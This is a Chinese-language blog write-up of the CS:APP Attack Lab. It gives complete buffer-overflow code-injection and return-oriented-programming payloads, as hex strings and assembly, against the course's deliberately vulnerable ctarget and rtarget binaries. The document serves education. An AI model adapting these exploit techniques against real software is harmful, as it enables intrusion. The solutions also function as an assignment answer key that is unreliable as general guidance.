主要内容
我写这篇文章一方面是为了记录自己做attack lab的过程, 另一方面也希望能帮助到其他在做这个实验的人。
前置知识
linux系统的基本使用、gdb的基础使用、能看懂汇编基本语句。gdb的基本使用
实验文件获取
文件的资料都可以在csapp的官网上找到,csapp.cs.cmu.edu/3e/labs.htm…, 打开后是这个样子:
将箭头指的两个文件下载就行了,第一个文件是对于这个实验的说明,包括这个实验的任务是什么, 有什么要注意的地方。第二个文件是一个压缩包,包含这个实验将要使用的文件。
实验内容简介
现在打开第一个文件(attacklab.pdf), 查看实验内容, 首先是实验的目的:
这个实验的目的就是通过对程序的攻击来让自己对汇编语言更加熟悉。
实验文件介绍
ctarget、rtarget都是攻击对象,分别要用两种不同的攻击方式攻击。cookie.txt里面是一个8位的16进制数, 在后面会用到。
实验环境
csapp上的实验都是在linux系统上进行的,可以在虚拟机上安装linux系统,进行实验, 我这个实验用的是deepin系统。
Code Injection Attacks
这部分就是攻击第一个程序(ctarget), 分成三个level
Level 1
attack.pdf(第一个文件)上有对这个有相关的说明,大致意思是, 有一个函数:
void test() {
int val;
val = getbuf();
printf(”No exploit. Getbuf returned 0x%x\n”, val);
}
这个函数每次启动ctarget都会运行, 调用getbuf()开辟缓冲区, 读取用户输入, 然后返回。然后有一个touch1函数, 代码如下:
void touch1() {
vlevel = 1;
printf(”Touch1!: You called touch1()\n”);
validate(1);
exit(0);
}
现在的任务就是让test()调用getbuf后不返回test()直接跳转到touch1()执行。要怎样达成这样的效果?先来看csapp上的一张图:
这张图说明了程序运行中空间的分配。比如开辟新的空间就等同于让%rsp减去你想要的空间数,释放空间恰好相反。
而调用一个函数就是先用pushq让返回地址入栈,然后前往函数执行代码。函数执行完毕后跳转到返回地址,同时让这个地址出栈。当然函数运行过程中可能会开辟空间, 但是在栈中开辟的空间在函数运行完毕后一定会被释放,所以函数运行完毕后栈指针指向的正好是返回地址。
这个栈和数据结构中的栈完完全全一样, rsp指向栈顶元素(不是栈顶元素的下一个, 有些栈的实现可能会这样), 这也说明了递归的本质也是栈,递归层数过多会导致栈溢出, 这也解释了为什么函数体内不能声明大数组。
现在就先来找到这个地址,并将其修改成为touch1的地址。
先随便建立一个文件test_hex.txt用来表示要输入的16进制数:
回到终端,输入./hex2raw <test_hex.txt >test_raw.txt 获得对应的字符串, 然后用这个字符串作为ctarget的输入用gdb进行调试(r < test_raw.txt -q, -q 表示不连接服务器)
进入test
进入getbuf
先查看此时栈指针的内容:
发现储存的确实是返回地址,不过要注意linux是little-endian, 即76 19 40 要被解释成0x401976。发现getbuf第一句是在开辟空间,猜测是用来储存输入字符串的缓冲区,于是在调用Gets完毕后再次查看内存:
发现果真如此, 我们输入的字符串被放在了缓冲区上,我们只要将前0x28个字节用任意字符填满,后面再用touch1的覆盖0x401976就行了。
先找到touch1的地址,可以在gdb中直接p touch1, 然后得到地址:
所以攻击代码hex11.txt(表示第一种攻击方式的第一个level)内容如下:
31 32 33 34 35 36 37 38
31 32 33 34 35 36 37 38
31 32 33 34 35 36 37 38
31 32 33 34 35 36 37 38
31 32 33 34 35 36 37 38
c0 17 40
在终端输入以下命令来运行:
./hex2raw < hex11.txt > raw11.txt // 生成对应的字符
./ctarget < raw11.txt -q //运行程序,不连接服务器
结果如下:
level1完成
level 2
这个level的内容更进一步,要求我们进入touch2的同时将参数设置成我们的cookie,touch2代码如下:
void touch2(unsigned val) {
vlevel = 2;
if (val == cookie) {
printf(”Touch2!: You called touch2(0x%.8x)\n”, val);
validate(2);
} else {
printf(”Touch2!: You called touch2(0x%.8x)\n”, val);
fail(2);
}
exit(0)
}
设置参数就是设置%rdi寄存器的值,所以我们有如下想法:在缓冲区中放入操作代码(设置参数后跳转到touch2)用缓冲区溢出让程序跳转到我们的代码。这里最好不要将操作代码放在缓冲区外,因为那个地方是别的程序使用的内存,覆盖的越多越容易出现段错误。
汇编代码(order12.s)如下:
# To be injected
mov $0x59b997fa, %rdi #set rdi, the 1st argument, to cookie
pushq $0x4017ec #add touch2's address to the stack
ret #go to touch2
现在来生成对应的16进制码, 在终端输入:
gcc -c order12.s //用gcc编译这段汇编
objdump -d order12.o > order12.d //用objdump反汇编
然后打开order12.d:
order12.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: 68 ec 17 40 00 pushq $0x4017ec
c: c3 retq
所以我们的注入代码是这样的(最后一行是第一行的地址):
48 c7 c7 fa 97 b9 59
68 ec 17 40 00
c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55
运行结果:
Level 3
同样是传递参数, 这次要求将自己的cookie对应的字符串传进去(没有0x, 字母小写)。由于缓冲区在之后会被覆盖,我们可以将cookie放在缓冲区之外的部分,因为cookie很短所以不会出现段错误, 注入代码如下:
#Code to be injected
mov $0x5561dca8, %rdi #set $rdi to the string's address
pushq $0x4018fa #push the address of touch3
retq #go to touch3
编译再反汇编得到字节码:
order13.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi
7: 68 fa 18 40 00 pushq $0x4018fa
c: c3 retq
所有代码如下(字符串中字符还是原来的顺序,因为每个字符就是一个字节大小, 一个字节正反都是这个字节, 所以在little-endian中顺序还是一样的。像int这种多个字节的才要考虑顺序):
48 c7 c7 a8 dc 61 55
68 fa 18 40 00
c3
00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 // pushq, ret 地址使用8字节内存, 也就是一行, 所以cookie必须另起一行!!!
35 39 62 39 39 37 66 61 // 这个是cookie对应的字符串
00
运行结果:
Return-Oriented Programming
现在程序每次运行栈的地址都会发生变化, 而且放在栈里面的语句是不能够被执行的, 所以我们不能够将我们的代码注入。但是我们可以利用程序中已经存在的语句。按照函数调用的规则, 每次当前函数执行完毕就会使用ret语句返回栈上储存的地址, 如果把想要运行的语句所对应的内存地址依次通过缓冲区溢出放在栈空间中,那么就会形成一个语句链,我们就能够达到对应的攻击目的。
这种攻击方式只有两个Level。并且我们所有的语句片段只能在farm这段中寻找。
Level 2
这个level要求调用touch2, 和上一种攻击方式下达到的效果是相同的。也就是说我们要做两件事。先把rdi的值设置成cookie,然后再调用touch2。
设置rdi
一个简单的想法是我们在栈中留下cookie的值,再通过popq %rdi 来修改rdi, 但是这个一般是不可能的,因为rdi是第一个参数,正常的程序是一般不会在return之前再修改这个寄存器的值的, 所以这条路走不通。
但是有返回值的函数可能会使用popq %rax, 如果能够找到这个语句, 再加上一个mov命令,我们就可以达到想要的效果。
popq %rax 对应的机器码是58, 在farm中寻找结果如下:(先反汇编,再将rtarget中的farm片段放在另一个文件中,用vim的搜索功能寻找)
结果有很多个, 这只是其中一个。由于后面的90是nop语句(不起任何作用),c3是ret语句,所以这个语句可以直接使用:
0x4019ca + 2 = 0x4019cc (rax = popq())
然后寻找mov语句, movl %eax, %edi 的机器码是 89 c7 (cookie只有四个字节), 找到一个结果如下:
0x4019c3 + 3 = 0x4019c6 (movl %eax, %edi)
所以整个输入对应的字节如下:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
cc 19 40 00 00 00 00 00 /* rax = popq() */
fa 97 b9 59 00 00 00 00 /* cookie */
c6 19 40 00 00 00 00 00 /* edi = eax */
ec 17 40 00 00 00 00 00 /* touch2 */
运行结果:
Level 3
这个level的要求也简单,只要达到之前调用touch3一样的效果就行了。难点就在这,如何得到储存字符串的地址?字符串在栈中,栈的地址由rsp保存, 所以我们的想法就是将rsp的值movq到某个寄存器中(现在地址是8位所以要用movq)。但是rsp的值一定要通过计算才能够得到字符串的地址(不计算只是下一个函数的地址, 而字符串必须放在touch3地址后,避免被覆盖,所以计算是不可避免的), 而运算(加、减)的几条指令对应的机器码都比较长, 很难找到合适的。好在这个farm中有一个对应的函数能够实现运算的功能:
现在只要将地址偏移值和字符串都放在栈中,然后通过某些路径将字符串地址和偏移值分别放到rdi、rsi中就能算出字符串的地址(用rax储存),再让rdi=rax即可。
但是这个做起来还是比较困难的,主要是变量的转换路径很难找,有点像搜索算法, 反正就是凭感觉找。直接放结果:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
cc 19 40 00 00 00 00 00 /* rax = popq() */
20 00 00 00 00 00 00 00
42 1a 40 00 00 00 00 00 /* edx = eax */
34 1a 40 00 00 00 00 00 /* ecx = edx */
13 1a 40 00 00 00 00 00 /* esi = ecx */
06 1a 40 00 00 00 00 00 /* rax = rsp */
a2 19 40 00 00 00 00 00 /* rdi = rax */
d6 19 40 00 00 00 00 00 /* rax = rdi + rsi */
c5 19 40 00 00 00 00 00 /* rdi = rax */
fa 18 40 00 00 00 00 00 /* touch3 */
35 39 62 39 39 37 66 61 /* cookie */
00
有个坑,这里内存地址是8个字节, 所以相关操作要带q,
最后结果如下:
总结
这次实验让我对汇编熟悉了很多, 也知道了怎样提高自己程序的安全性。